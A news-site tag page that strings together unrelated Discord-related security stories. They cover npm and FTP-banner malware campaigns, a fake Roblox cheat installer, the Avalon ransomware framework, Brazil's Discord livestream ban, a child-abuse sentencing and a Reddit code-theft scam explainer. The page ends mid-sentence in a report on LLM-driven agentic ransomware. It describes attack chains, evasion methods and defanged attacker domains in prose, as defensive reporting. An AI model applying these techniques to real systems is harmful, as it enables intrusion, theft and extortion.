discord

Threat actors are abusing FTP banners to hide commands that deliver two previously undocumented remote access trojans named E4del and PINHOLE. MalwareHunterTeam observed this unusual technique in July in an attack that used shortcut files (.LNK) and FTP server banners as dead-drop resolvers (DDR) to retrieve commands. FTP banners are text strings the server uses as a greeting message for connecting hosts before they log in. By embedding commands in the initial response sent when a compromised system connects to an FTP server, a malware stager can receive instructions from a remote server. After discovering FTP banners being used to deliver malicious commands during an investigation, researchers at threat intelligence platform SOCRadar expanded their hunt and found that the technique remains in use. "By utilizing FOFA searches, we determined that this technique has been weaponized since early July 2026 and remains operational, with new infrastructure observed as recently as August 2026." In a report shared with BleepingComputer, SOCRadar says that the observed attacks start with a ZIP archive that triggers an LNK-based infection chain. The researchers note that the initial compromise likely occurs through phishing. The infection chain delivers two remote access trojans (RATs) named E4del and PINHOLE via two distinct infection routes, both retrieving a PowerShell script from FTP banners. E4del is a Node.js-based RAT packaged inside a digitally signed Electron application that masquerades as Discord. The RAT supports running commands through persistent or temporary shells, capturing screenshots, streaming the desktop over WebSockets, and downloading and executing additional payloads. SOCRadar also mentions a Node.js module named crypto32.node that attempts privilege escalation, but the researchers could not retrieve it for analysis. PINHOLE retrieves its C2 configuration from Pinterest pins and SurveyMonkey survey questions, a tactic that offers versatility and resilience to take-downs. The malware leaves a minimal footprint on the host, using shellcode fluctuation to keep only one 4KB section of the payload in memory at a time, and injecting the final assembly into a suspended ApplicationFrameHost.exe process via Early Bird APC injection. PINHOLE supports 14 commands, including file enumeration, uploading and downloading files, command execution, process management, capturing screenshots, and deploying a module for stealing credentials stored in browsers. At the time of analysis, the PINHOLE script counted only 11 execution events, suggesting that the campaign was in an early stage. While abusing FTP banners to deliver commands is a novel alternative, SOCRadar says that the approach is less stealthy than traditional web-based DDRs (e.g., X, GitHub, YouTube) because FTP connections to unknown servers are more likely to stand out. “While threat actors typically utilize legitimate web services, such as X, GitHub, or YouTube, to provide cover through high-volume, expected network traffic, FTP banners represent a novel alternative." The researchers note that the technique is very versatile and could "easily" be adapted for ClickFix social engineering campaigns. SOCRadar's report provides indicators of compromise that could help defenders identify the malicious infrastructure as well as infected machines on the network. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Brazil orders Discord to suspend livestreaming after teen suicide Brazil has ordered Discord to suspend its livestreaming features while authorities investigate whether the platform failed to protect children from content encouraging self-harm and suicide. The National Data Protection Authority (ANPD) said Wednesday that Discord’s Go Live feature must remain disabled until the company can show that it has put effective safeguards in place to protect children and teenagers. The order follows the death of a 13-year-old girl in central-western Brazil whom authorities say was encouraged to harm herself during a roughly 45-minute livestream on Discord in July. Five teenagers have been arrested in connection with the case. Police also intervened in a separate incident involving a girl who was preparing to die by suicide during an online broadcast. The investigation uncovered groups of teenagers who allegedly used online communities, including Telegram, to spread neo-Nazi, antisemitic and misogynistic material, recruit members and discuss violent acts. Brazil’s national secretary for digital rights, Victor Fernandes, said Discord and Telegram had violated rules intended to protect women and children online. “On Discord, a suicide was livestreamed in an environment involving teenagers,” Fernandes said. “The material remained available and took some time to be removed.” Authorities subsequently ordered the platforms to delete the material and moved to suspend the servers where it had been shared, he said. 'Robust evidence' of safety failures The ANPD said Wednesday that it had found “robust evidence” that Discord failed to take reasonable steps to protect children and teenagers from harmful content, particularly material promoting or facilitating violence, self-harm or suicide. The regulator stressed that Discord itself is not being blocked in Brazil. The order applies only to Go Live, which lets users broadcast video to others. “The goal is to reduce the risk of serious or irreparable harm to which children and adolescents are being exposed,” the agency said. The regulator said Discord’s technical setup makes it particularly difficult to prevent abuse during livestreams because the company cannot access the video content as it is being broadcast. This limits Discord’s ability to automatically detect harmful content in real time, leaving it largely dependent on automated systems and reports from users on individual servers, the agency added. Brazilian authorities also criticized Discord’s decision to add end-to-end encryption to Go Live in March, saying the change further limited the company’s ability to detect harmful activity as it happened. The ANPD said Discord’s existing safeguards either came into play only after harm had occurred or did little to prevent it in the first place. The ANPD said the suspension will remain in place until Discord can show that it has introduced effective measures to address the risks identified by regulators. Discord has three business days to demonstrate that it has fully implemented the suspension across Brazil. In a statement to Brazilian news outlet UOL, Discord confirmed that it had received the order and was reviewing it, adding that the regulator’s description of its safety practices “does not reflect the platform nor the investments made in user security.” The company also called the decision to suspend livestreaming in Brazil “premature.” “We look forward to continuing our conversations with policymakers in Brazil to promote a safer online experience for all users, both on Discord and across the internet,” the company added. Broader investigation Brazilian authorities are also investigating whether Discord has adequate age-verification systems and whether the company failed to remove prohibited content or properly report violations to authorities. The regulator said it could impose additional requirements as the investigation continues. If violations are confirmed, Discord could face fines of up to 50 million Brazilian reais, or roughly $10 million, per violation. The Brazilian action comes amid broader scrutiny of Discord’s ability to protect younger users. A recent analysis by Brazilian digital rights organization SaferNet of Discord’s own disclosures to the European Union found that child and adolescent protection historically accounted for a large share of the company’s reported moderation decisions in Europe. Reports submitted to SaferNet Brasil involving Discord have also increased significantly since 2024. The organization said it received 406 reports involving the platform during the first seven months of 2026 alone. Discord, which is particularly popular with gamers, has more than 90 million users globally and generally requires users to be at least 13 years old. The platform has previously faced restrictions elsewhere. Russia and Turkey blocked Discord in 2024, with authorities in both countries accusing the company of failing to adequately police illegal material. Russian regulators alleged Discord was being used for extremist and terrorist activity, recruitment and drug trafficking. Turkish authorities cited allegations involving child abuse, blackmail and online harassment when they blocked the service. Daryna Antoniuk is a reporter for Recorded Future News based in Ukraine. She writes about cybersecurity startups, cyberattacks in Eastern Europe and the state of the cyberwar between Ukraine and Russia. She previously was a tech reporter for Forbes Ukraine. Her work has also been published at Sifted, The Kyiv Independent and The Kyiv Post.

British ‘Com’ member who abused more than 100 girls worldwide jailed for two years A 20-year-old man was sentenced Monday to two years in prison for coercing more than 100 girls worldwide into sexual and self-harm activity using platforms such as Snapchat, Telegram and Discord, British authorities said. Justin Swaddle, of Leeds in northern England, targeted 117 female victims aged 13 to 17, according to the National Crime Agency (NCA). He was 17 at the time of the offenses and operated under aliases including “Epstein” and “Moscow.” Swaddle was part of what British authorities call a “Com” group — loosely-knit online communities whose members coerce victims into self-harm and sexual abuse for the sake of gaining status among peers. Investigators found Swaddle manipulated victims into sending sexual images and carving his usernames into their bodies, threatening to leak intimate material or to contact their schools and parents if they refused. He also attempted to incite a child to sexually abuse a younger child on camera. Investigators recovered hundreds of indecent images of children, some as young as three, from his devices. Eight of the victims were located in the United Kingdom. The NCA, which led the investigation, worked with law enforcement partners in the U.S., Canada, Australia, Norway and New Zealand to identify and safeguard victims. Swaddle pleaded guilty at Leeds Crown Court to multiple child sexual abuse offenses and blackmail. Sentencing him on Monday, Judge Peter Kelson described him as “a predatory shark preying on children swimming in the dark waters of the internet.” He will be subject to a Sexual Harm Prevention Order for 10 years and must sign the Sex Offenders Register. Authorities in the UK and elsewhere have increasingly warned of Com groups like the one Swaddle operated in. “Offenders and victims are usually in the same groups, and offenders are usually not motivated by money or sexual gratification but by the status and notoriety that comes with sharing shocking content with other members,” the NCA stated. Last year, the FBI issued a warning about Com groups more broadly, usually composed of English-speaking minors involved in a range of cybercriminal activity. Those groups have been linked to the extortion of minors and distribution of child sexual abuse material through to other activities including swatting, SIM swapping, cryptocurrency thefts and ransomware attacks. That followed an East London-based member of a Com network being convicted of making indecent images of children, again perpetrating the crimes when he was 17 years old. “Justin Swaddle targeted young and vulnerable victims all over the world to abuse and scare them into carrying out shocking self-harm and sexual activity, purely to gain popularity with his peers online,” said the NCA’s Danielle Pownall. “While the number of people involved in Com groups are relatively small, the impact it has on victims is high and long-lasting, as Swaddle’s offending shows,” she added. Alexander Martin is the UK Editor for Recorded Future News. He was previously a technology reporter for Sky News and a fellow at the European Cyber Conflict Research Initiative, now Virtual Routes. He can be reached securely using Signal on: AlexanderMartin.79

A cluster of nearly 800 malicious packages has been published to the npm registry as part of a new campaign designed to deliver cross-platform malware targeting Windows, Mac, and Linux systems. "These packages appear to use AI slop squatted, or randomly generated typo-squatting package names, but all of them deliver a powerful RAT and infostealer payload," OpenSourceMalware researcher Paul McCarty said. Unlike other npm-oriented software supply chain attacks that make use of lifecycle hooks like preinstall or postinstall to trigger the execution of malicious code, the newly identified packages come with a README that instructs developers to load them with require(), a built-in function to import modules, local files, and third-party packages. The attack leads to the execution of a downloader named WEL1DROPPER, which, when executed, identifies the host operating system and processor architecture and fetches a compatible payload from one of the three Cloudflare Workers hosts. The three Cloudflare Workers domains are listed below - oob-worker.cf103-070.workers[.]dev oob-worker.cf102-baf.workers[.]dev oob-worker.cf99-9b3.workers[.]dev If the HTTPS-based downloads fail, the malware switches to a platform-specific domain and uses DNS TXT records to obtain the next-stage from the domain "wel1[.]ru." The payload domain for each operating system and CPU architecture is as follows - Linux x64 - sdk.dl.wel1[.]ru Linux ARM64 - ext.dl.wel1[.]ru macOS - pkg.dl.wel1[.]ru Windows - net.dl.wel1[.]ru "The package first requests a TXT record from c. ," McCarty explained. "It parses the response as the number of payload chunks, accepting a value between 1 and 2,000. It then requests numbered TXT records. The returned strings are joined together and Base64-decoded into a binary buffer." In the final stage, the payload is written to a temporary folder and executed either using "/bin/sh" on Linux and macOS, or "cmd.exe" on Windows. Sonatype, which is also tracking the campaign under the moniker Flooding Dropper, said the final stage is launched as a detached process, with the Windows version taking steps to patch Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI) to interfere with monitoring, check for sandboxes and virtual environments, establish persistence through a Registry Run key and a scheduled task, and download an encrypted payload ("/pkg/update_win.exe") and run it. The macOS infection chain is similar, performing an identical set of actions to look for debuggers and analysis artifacts before retrieving a compatible payload ("/pkg/beacon_mac.bin") from a remote server. If this fails, it employs the aforementioned DNS TXT delivery, sets up persistence using a LaunchAgent, and then starts the executable in a detached process. The Linux sample, on the other hand, is an UPX-packed ELF binary that's configured to download auxiliary payloads from a Cloudflare Worker URL ("oob-worker[.]cf99-9b3.workers[.]dev"), ultimately leading to the deployment of Sliver, an open-source command-and-control (C2) framework. The packages have also been found to contain a file called "lib/telemetry.js" that implements a plausible-looking telemetry SDK but also contains the same downloader logic. "The package entry point does not import this file, and it contains no additional hard-coded infrastructure," OpenSourceMalware said. "The oversized telemetry implementation appears intended to add noise and make the malicious behavior look like native profiling or analytics functionality during a quick review." The presence of domains like "tcsbank[.]ru" and "cloudpayments[.]ru" in the macOS payload indicates that the campaign could be targeting Russian financial institutions and mobile payments. It's also suspected to be an evolution of a dependency confusion campaign codenamed Moika that was observed earlier this April and saw over 250 packages published to the npm registry to steal environment information and deliver an operating system-specific second-stage payload. The development comes as Palo Alto Networks Unit 42 documented multiple campaigns targeting npm and the Python Package Index (PyPI) repository - A set of 10 npm packages that download an obfuscated cryptocurrency stealer and a remote access trojan from an external server. "After installation, the packages export a 'getPlugin' function that constructs the URL from which the payload is downloaded as an obfuscated IIFE (Immediately Invoked Function Expression) JavaScript code embedded in a JSON object," Unit 42 said. "The payload implements a crypto stealer and Remote-Access Trojan (RAT) that allows the attacker to execute arbitrary commands on the infected host." A set of malicious packages across npm and PyPI representing multiple distinct threat actors that are capable of cloud credential exfiltration, delivering EtherHiding blockchain-based C2 droppers, Solana cryptocurrency wallet key theft via Telegram, .env file secret exfiltration, fake-CAPTCHA social engineering remote code execution, and Discord token theft and GitHub Actions CI/CD credential exfiltration. From Packages to Chrome Extensions Threat actors have also been observed using Google Chrome extensions marketed as game emulators, password managers, productivity tools, CSS inspectors, and markdown converters to turn the web browser into a web crawling proxy. The crawl commands are received remotely via a persistent WebSocket connection. "These extensions embed an identical commercial web bandwidth-sharing SDK that connects the user's browser to a 3rd party residential proxy network for web scraping operations," Unit 42 said, adding it crawls pages by injecting a hidden iframe into active browser tabs, converts page content to Markdown in the background, and sends it to a remote cloud backend. The cybersecurity company noted that some of these extensions disclose the practice in their Chrome Web Store descriptions and in the privacy policies on their SaaS websites. Once installed, the third-party SDK prompts users to opt-in to the service. "While the proxy and crawling features remain inactive if the user declines, some extensions frame this opt-in as necessary for uninterrupted service,'" Unit 42 said. "A notable example is InstaSkip (mdondgockboebafloibbhjofmoedmnnn), which embeds this SDK." Update OpenSourceMalware's co-founder Jenn Gile told The Hacker News that the WEL1DROPPER campaign has involved a total of 1,033 confirmed packages so far. "The velocity has definitely slowed down since last week," Gile added. "The Flooding Dropper threat actors are using account names that appear randomly generated, and individual accounts publish only a handful of packages," Sonatype said. "That prevents defenders from assuming that removing one prolific publisher will eliminate the broader operation." "It also creates a moderation problem for npm. Each account and package may need to be identified, reviewed, and removed independently while the attacker continues generating more." (The story was updated after publication on August 11, 2026, to include the latest developments.)

Uptime Kuma 2.5.0 waits two weeks before trusting a new npm package Uptime Kuma checks whether a website, a Docker container, a DNS record, or a Steam game server is still answering, and pushes a message to Telegram, Slack, or email when one stops. The self-hosted monitoring tool is MIT licensed, runs in a container or on Node.js, and has 89,800 stars and 8,200 forks on GitHub. The change with the widest reach in version 2.5.0 is that the project now sets a 14-day cooldown on npm updates to minimize supply-chain attacks. That cooldown is aimed at the window in which a hijacked package does its work. When an attacker publishes a malicious version of a dependency, the poisoned release usually gets pulled within days of discovery, so the projects that get hit hardest are the ones that grab the newest version the moment it exists. Uptime Kuma sits inside networks and holds credentials for the 90-plus notification services it can reach, which makes its dependency tree worth attacking. Waiting two weeks means Uptime Kuma builds skip most of the packages that get yanked. New monitor types Uptime Kuma now has an NTP monitor so it watch a network time server directly. NTP is how machines agree on what time it is, and when a time source drifts or dies, certificate checks start failing and log timestamps stop lining up across hosts. Before this release, you could monitor the box running the time service but not the service itself. A second change lifts the ceiling on check intervals, which previously topped out around 24 days. Anyone tracking something that only needs a look once a quarter, like a certificate or a domain expiry, no longer has to fake it with a shorter interval. The author also added a next-rootless Docker tag for people who do not want the monitoring process running as root in its container. Fixes worth knowing about The badge generator was producing broken URLs because of a doubled slash, so status badges embedded in READMEs and dashboards were failing. The MQTT monitor now accepts mqtts:// addresses, meaning a TLS-protected broker no longer needs a workaround. Steam game server monitors resolve hostnames instead of requiring an IP. The DNS monitor stops appending the resolver port to the service URL, and Discord notifications now render timestamps in the right timezone. One database fix is quieter and worth reading twice: the up and down columns in the stat_daily table were widened from SMALLINT to an unsigned integer. A signed SMALLINT stops at 32,767, and monitors checking at short intervals across many hosts can push a daily counter past that. If your uptime history has gaps or nonsense values on busy days, this is a candidate explanation. Must read: 20 open-source cybersecurity tools to keep your team ready for anything GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

Fake Xeno Executor installers are infecting unsuspecting Roblox players with malware that provides remote access and steals sensitive information. Xeno Executor is a popular Roblox utility for running scripts that players can use to automate actions or run custom code on the platform, including cheats. The tool isn’t an official part of the game, so the Roblox client periodically blocks existing versions, forcing the tool’s creators to release new versions that run undetected. Cybersecurity company Bitdefender discovered a campaign targeting Roblox users since the start of the year, rising sharply in March before stabilizing. The researchers found that the fake Xeno is promoted to Roblox players through gaming forums, Discord communities, or via compromised or impersonated accounts controlled by the threat actors. The attackers advertise the malware as an "undetected" version of Xeno, luring users looking for a version that wouldn't be detected by Roblox's anti-cheat protections. The victims download ZIP archives containing the fake Xeno installers along with instructions, or self-extracting archives that unpack content automatically. To make these packages look authentic, the attackers recreate the directory structure of a legitimate Xeno installation, include some genuine Lua scripts, and use plausible filenames. Once victims launch ‘xeno.exe,’ as instructed, believing it is the legitimate Xeno executable, they actually run the first-stage malware loader. The payload checks for a Java Runtime Environment, and extracts one if necessary, then reads a local file containing the validation keys for the attackers' command-and-control (C2) server. It then launches an obfuscated Java payload disguised as ‘decompiler.exe,’ which performs environment checks, registers the victim, and downloads the final malware payload. The final payload is a Java-based RAT and information stealer malware that combines credential theft with surveillance and remote administration capabilities. Its most important capabilities are summarized as follows: Steals browser data including cookies and other stored user data from Chrome, Edge, Brave, Opera, and Vivaldi. Targets online accounts and payment data, including Discord, Roblox, Minecraft, Microsoft Store tokens, and payment information associated with Discord and Microsoft Store accounts. Steals cryptocurrency wallet data, with dedicated functionality targeting Exodus Wallet and support for identifying numerous other cryptocurrency wallets. Provides surveillance capabilities, including keylogging, mouse activity logging, screenshot capturing, desktop streaming, and webcam access. Enables full remote control, allowing attackers to upload and download files, execute PowerShell commands, and access an interactive remote shell. Bitdefender believes the campaign is the same as the one ThreatLocker previously documented as “Powercat,” but with significant updates to the malware’s capabilities and a new C2 infrastructure, indicating continuous evolution. Bitdefender has shared indicators of compromise (IoCs) for the campaign and recommends that Roblox players completely avoid installing third-party tools from obscure sources. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Product showcase: LastPass Authenticator brings Face ID, Apple Watch, and cloud backup to 2FA LastPass Authenticator is a free app that provides two-factor authentication (2FA) for accounts and any service that supports time-based one-time passwords (TOTP). It supports push notifications for one-tap approvals and generates six-digit verification codes for online accounts. The app is available for iPhone, iPad, Apple Watch, and Android devices. Getting started Adding a new account takes only a few steps. Users can scan a QR code, import one from an image saved in Photos, or enter a secret key manually. To simplify enrollment, the app includes predefined templates for a wide range of online services, including Amazon, Amazon Web Services, Binance, Coinbase, Discord, Dropbox, Facebook, Evernote, GitHub, PayPal, Slack, Twitch, X (Twitter), and many others. Custom entries can be created for any service that supports TOTP authentication. Accounts are displayed in a searchable list with service icons, account names, and a timer showing when the current verification code expires. Users can edit account information, organize entries into groups, and manage multiple authenticators from a single interface. The app also supports transferring accounts to another device, and accounts can be exported as QR codes. The app includes several features designed to protect locally stored authentication codes. Users can secure the app with Face ID or a PIN, enable Tap to Reveal so verification codes remain hidden until selected, and configure cloud backup to restore accounts after replacing or resetting a device. A built-in Security Checkup reviews recommended security settings, verifies that the app is up to date, and checks whether the device has been jailbroken. Verification codes can be scanned directly from screenshots stored on the device, eliminating the need to switch between devices during setup. Users can preview the next authentication code before the current one expires, choose where the upcoming code is displayed, and group digits to improve readability. Final thoughts By combining support for standard TOTP authentication with push approvals, biometric protection, cloud backup, Apple Watch support, and flexible import options, LastPass Authenticator provides a practical solution for managing two-factor authentication across multiple online services from a single app.

「めっちゃカメレオン」公式Discord乗っ取り 担当者PCがマルウェア感染、管理者が全員BANに 現在は復旧 体に色を塗って背景に擬態するかくれんぼゲーム「めっちゃカメレオン」を開発するレモリオン氏とはがねいろ氏は7月26日、公式Discordサーバが乗っ取り被害に遭ったとXで注意喚起。2人は当初、参加者に一時退出を呼びかけていたが、ゲーム本体に影響はなく、サーバも27日に復旧した。 両氏の説明によると、発端はユーザーが作った「カスタムマップ」（MODマップ）にマルウェアが紛れ込んでいるとの報告だった。はがねいろ氏が該当するマップをゲーム内で動かして挙動を確かめたところ、数時間後に検証用のPCが感染。攻撃者はこのPCを足がかりに、担当エンジニアのDiscordの2段階認証を迂回した。 攻撃者はさらにサーバの管理権限を奪い、公式スタッフを全員追放。レモリオン氏がXに警告を投稿した26日午前0時57分の時点で、開発者側はすでに自らのサーバに手出しできない状態にあった。同氏は参加者に一時退出を促し、Discordへの通報にも協力を求めた。 奪った権限を使い、公式サーバを通して、「最新のアップデートにRAT（遠隔操作ツール）が仕込まれており、修正手順を踏む必要がある」との偽情報も流していた。レモリオン氏はこれを全面的に否定。感染したPCは予備のテスト用マシンで、そこからゲームのソースファイルにアクセスしたり編集したりすることは物理的に不可能だとログで再確認した上、データもすでに消去し再フォーマットしたと説明した。 この時点で開発者側は、乗っ取り犯が今後も偽の告知を出す可能性があるとして、Discordに投稿されたリンクを開いたり、偽のサーバに参加したり、指示に従ったりしないよう呼びかけていた。 なお、MODマップ側に問題があったのは事実だったが、25日配信のアップデート3.1.0で解消済みだった。MODマップから任意のURLを実行し、ファイルを作成できてしまう問題があったが、パッチ適用による無効化を確認したという。レモリオン氏はSteamのサポートにも安全を確認済みだとしている。 残る乗っ取りへの対処も進み、レモリオン氏は27日午前7時34分、「公式discordサーバーが帰ってきました」とXで復旧を告知した。管理者に成り済ましていた攻撃者のアカウントは全てBANし、サーバの管理権限を持つアカウントは乗っ取られたものとは別のものに切り替えたため安全だとしている。約9万2000人が参加する公式コミュニティーは、被害の表面化からおよそ1日半で正常化した。 同作は6月10日に配信を始め、世界的なヒットとなった。7月5日には累計販売数1500万本の突破を発表している。 Copyright © ITmedia, Inc. All Rights Reserved.

The fake report message that ends with a stolen Reddit account A direct message arrives on Reddit from a stranger, and it invites a reply. That reply is the point. This scheme runs on social engineering, with no malware and no malicious links, and it has spread across Reddit, Discord, and similar platforms. The goal is a single piece of information: a login or verification code that hands your account to someone else. “The conversation usually starts with one of two claims. Either the person says someone reported their account and it looks like it was you, or they claim they accidentally reported your account by mistake. If you deny it, the scammer doesn’t argue. They say it was probably an honest mistake and keep the conversation going. They might ask if you know who reported them or suggest you can help clear things up. The goal is simply to keep you engaged,” Stefan Dasic, Senior Malware Research Engineer at Malwarebytes, explained. The fake proof Then comes the “proof.” The scammer sends a screenshot of an email dressed up to look like official Reddit correspondence. It carries a formal tone, a ticket number, a line about a “formal investigation,” and a countdown, often 12 hours, before “suspension, limited features, or a ban.” Some versions route you to a Discord contact posing as a Reddit employee or moderator. Others add a fake legal warning citing laws that have nothing to do with the situation. Paired with threats of suspension, restricted features, or a ban, it pressures you into acting quickly, before the story gets a second look. The moment the code arrives The report and the fake email set the stage for one request. The scammer says a Reddit employee or “supervisor” needs to verify your account to confirm you were uninvolved, and that verification means reading back a code Reddit is about to send. During the conversation, the scammer signs in to your account or starts an account recovery. Reddit reacts by sending a login or verification code straight to you. The timing lines up with the script: the code lands moments after you were told to expect it. Read it aloud, and the scammer uses it to enter your account, change the password, and lock you out. Some versions push further. Victims get talked into changing the email address tied to the account to one the scammer owns. A demand for a gift card or other payment follows, with threats to delete the account or turn it against other people unless the victim pays. How Reddit handles reports Reddit manages reports, moderation, and appeals inside its systems. People named in a report are never asked to contact each other. Verification of an account through a stranger in a direct message plays no part in the process. Appeals travel through Reddit, with no detour to a staff member’s personal Discord account. Any request that steps outside those channels is a scam. Steps that keep an account safe A few habits shut this scheme down. Keep every login and verification code private, even from anyone claiming to be Reddit staff. Refuse any request to change the email on your account for a stranger. Treat a demand for gift cards or money to resolve a report as proof of a scam. Turn on two-factor authentication with an authenticator app, and read any surprise login code as a sign that someone is trying to get in. Lost access calls for Reddit’s official account recovery process at reddit.com, along with a new password and a report through Reddit’s built-in tools. Read more: Using Reddit to manipulate AI search results is surprisingly easy Reddit declares war on bad bot activity

A stranger messages you on Reddit. They say someone reported them, and the reporting account looks a lot like yours. Was it you? It wasn’t. That’s not really the point of the message. This version relies entirely on social engineering. There is no malware and no malicious links. It starts with a conversation, but the goal is to trick you into handing over a login or verification code so the scammer can access your Reddit account. How this scam works There are two common variants of this scam: “Someone reported me, and it looks like it was you.” “I accidentally reported your account.” Someone claims there was a mistake involving a report. In one version, they say someone reported them and it looks like it was you. In another, they claim they accidentally reported your account and need your help to fix it. Either way, there’s no report. It’s the opening to a social engineering scam that has become common on Discord, Reddit, and other platforms. The end goal varies. Some versions try to trick you into sharing a login or verification code so the scammer can sign in to your account, change your password, and lock you out. Others persuade you to change the email address linked to your account to one they control. They then demand a gift card or other payment to “fix” the problem, threatening to delete your account or use it to scam other people if you don’t pay. If you’re still talking to them, stop and don’t share any codes or change your account details. If you’ve already done either and lost access to your account, skip ahead to How to protect yourself below. How it plays out The conversation usually starts with one of two claims. Either the person says someone reported their account and it looks like it was you, or they claim they accidentally reported your account by mistake. If you deny it, the scammer doesn’t argue. They say it was probably an honest mistake and keep the conversation going. They might ask if you know who reported them or suggest you can help clear things up. The goal is simply to keep you engaged. Then they send “proof”: a screenshot of an email made to look as though it’s from Reddit. It has a formal tone, a ticket number, a claim that a “formal investigation” is underway, and a countdown, usually 12 hours, before “suspension, limited features, or a ban.” Some versions tell you to contact someone on Discord who claims to be a Reddit employee or moderator. Others include a fake legal warning that cites laws or regulations unrelated to the situation. None of it is real. Why this isn’t how Reddit works Reddit doesn’t ask people involved in a report to contact each other, and it doesn’t ask you to verify your account through a stranger in a direct message. It doesn’t handle appeals through Discord or direct you to a staff member’s personal Discord account. Reports, moderation, and appeals all happen through Reddit itself. The countdown is there to create urgency. Combined with vague threats of suspension, restricted features, or a ban, it’s designed to make you act before you have time to question what’s happening. What they’re actually after The report and the fake email are just the setup. The scammer tells you that a Reddit employee or “supervisor” needs to verify your account to prove you weren’t involved. To do that, they say, you need to read back the code Reddit is about to send you. While you’re in the conversation, the scammer tries to sign in to your real account or trigger an account recovery. Reddit responds by sending a genuine login or verification code to you. The timing isn’t a coincidence. The code arrives just after you’ve been told to expect it. If you read it back, the scammer can use it to sign in to your account, change your password, and lock you out. The code itself is real. The story around it is the scam. Why people fall for it Whether you’ve been accused of reporting someone or told your account was reported by mistake, the scam puts you in a position where you want to fix the problem. So when you’re asked to “verify” your account, it can feel like part of resolving the issue rather than a security risk. The fake email makes the story seem more believable, especially if you don’t stop to question whether the contact method or process matches how Reddit actually works. The countdown adds a sense of urgency, encouraging you to act before you’ve had time to think it through. This isn’t about being gullible. It’s a well-rehearsed social engineering script designed to make a reasonable request seem legitimate. It’s not just direct messages While the false-report scam usually starts in a direct message, scammers also impersonate Reddit in phishing emails claiming your account has been locked or needs attention. If you receive an unexpected security email, don’t click the links inside it. Instead, sign in to Reddit directly through the official website or app. If your account is compromised, you may notice posts, comments, or messages you didn’t create. That’s a sign someone else has access to your account. If that happens, change your password, enable two-factor authentication if you haven’t already, and follow Reddit’s account recovery process. How to protect yourself Never share a Reddit login or verification code with anyone, even someone claiming to be Reddit staff or support. Never change the email address linked to your account at a stranger’s request, even to “fix” a reported issue. If someone asks you to buy a gift card or send money to resolve a report, it’s a scam. Reddit won’t ask users involved in a report to contact each other, verify their accounts through direct messages, or handle appeals through Discord. If you receive an unexpected Reddit security email, don’t use the links inside it. Sign in to your account directly through reddit.com or the official app instead. Turn on two-factor authentication using an authenticator app, and treat any unexpected login or verification code as a sign someone may be trying to access your account. If you notice posts, comments, or messages you didn’t create, secure your account immediately by changing your password. If you’ve lost access, use Reddit’s official account recovery process at reddit.com. Report the scammer and their messages using Reddit’s built-in reporting tools. Remember If someone asks you to share a login or verification code, stop there. That’s the scam. Everything before it is just the setup.

Cybersecurity researchers have discovered a previously undocumented modular malware framework codenamed Avalon that's distributed by means of a multi-stage phishing chain capable of bypassing traditional security controls. Avalon combines credential collection, lateral movement, remote access, recovery disruption, and ransomware execution, bringing together diverse functions under one umbrella. The ransomware component has been internally named CrownX. "The attack began with a spoofed legal document email directing recipients to a password protected archive on Proton Drive," Blackpoint Cyber researchers Nevan Beal and Sam Decker said. "Malicious content was embedded inside an ISO image rather than attached directly, reducing the likelihood of detection at the email layer." Should the email recipient interact with a document-themed Windows Shortcut ("Secure Document CA-283505.pdf.lnk") inside the mounted image, it triggers a staged malware sequence that culminates in the deployment of Avalon. Specifically, the shortcut runs a command to launch an MSBuild project located in the ISO image. The MSBuild project, for its part, loads an embedded .NET assembly, which then interferes with the regular functioning of Event Tracing for Windows (ETW) to reduce forensic visibility and download a next-stage payload over HTTPS responsible for launching Avalon. The malware framework boasts of an extensive defense evasion subsystem that aims to evade detection, while incorporating specific methods to conceal execution from security tools associated with Microsoft Defender, SentinelOne, CrowdStrike, Sophos, Elastic Endpoint, FortiEDR, ESET, McAfee, and Bitdefender. "These capabilities give the framework a multitude of ways to reduce telemetry, bypass user mode monitoring, and adjust its execution depending on the defensive controls present on the host," the researchers said. The complete set of features built into Avalon is as follows - Harvest credentials, cookies, history, and bookmarks from Chromium-based browsers and Mozilla Firefox. Gather data from cryptocurrency wallet apps like MetaMask, Phantom, Coinbase Wallet, Exodus, Electrum, Atomic Wallet, Ledger Live, and Bitcoin Core, along with Discord, Slack, Teams, OpenVPN, WireGuard, and Windows Credential Manager. Collect details about SSH known hosts, saved RDP connections, Wi-Fi profiles, and Group Policy Preferences cpassword artifacts. Exfiltrate data to a remote server ("helloxcherry[.]com") and poll the server for receiving tasking commands. Perform reconnaissance and prioritize systems that can expand the scope of the compromise. Encrypt files associated with business operations, software development, engineering, data storage, and virtual infrastructure using Windows Cryptography API and deliver a ransom note containing payment instructions and deadline timers that show how much time is left before the ransom amount is increased. Inhibit system recovery by terminating the Volume Shadow Copy Service and deleting shadow copies. Remove traces of artifacts using an anti-forensic cleanup subsystem to complicate incident response efforts. Directly interact with disk structures likely in an effort to damage partition information, boot records, or other critical areas of the drive, effectively rendering the system unusable. "CrownX represented the final extortion stage, but the damage extended well beyond the encryption itself," the company said. "By the time the ransom note appeared, the broader framework had already collected credentials, established C2 communications, prepared multiple paths for lateral movement, and weakened local recovery options." Another important detail is that Avalon shows signs of artificial intelligence (AI)-assisted development, one that has assembled multiple components with scant regard for sophisticated tradecraft or operational security, something that requires significant expertise to build. The findings are yet another sign of how AI can lower the barrier to entry, making malware development more accessible with little time and effort, and even allowing actors with little technical expertise and resources to come up with tools that may require extensive development effort. In other words, the presence of a certain capability is no longer a reliable indicator of a threat actor's sophistication or operational maturity. "The kill chain illustrates how a familiar business lure can progress into a reusable, multi-capability framework designed to harvest credentials, retrieve subsequent payloads entirely in memory, and stage multiple follow-on actions from a single compromised endpoint," Blackpoint Cyber said. LLM Behind an Agentic Ransomware Attack The disclosure comes as Sysdig detailed what it said was the first publicly documented agentic ransomware infection driven by a large language model from start to finish, while retrying and tweaking its actions in real-time to complete tasks. The agentic threat actor (ATA) behind the operation has been codenamed JADEPUFFER. The operator "gained initial access to an internet-facing Langflow instance through CVE-2025-3248 and ran an adaptive and fully automated campaign, ultimately pivoting to the intended target and running a destructive database-extortion playbook against the victim's production database server," Sysdig's Michael Clark said. "The skill floor for running ransomware has dropped to whatever it costs to run an agent, and if that agent is running on 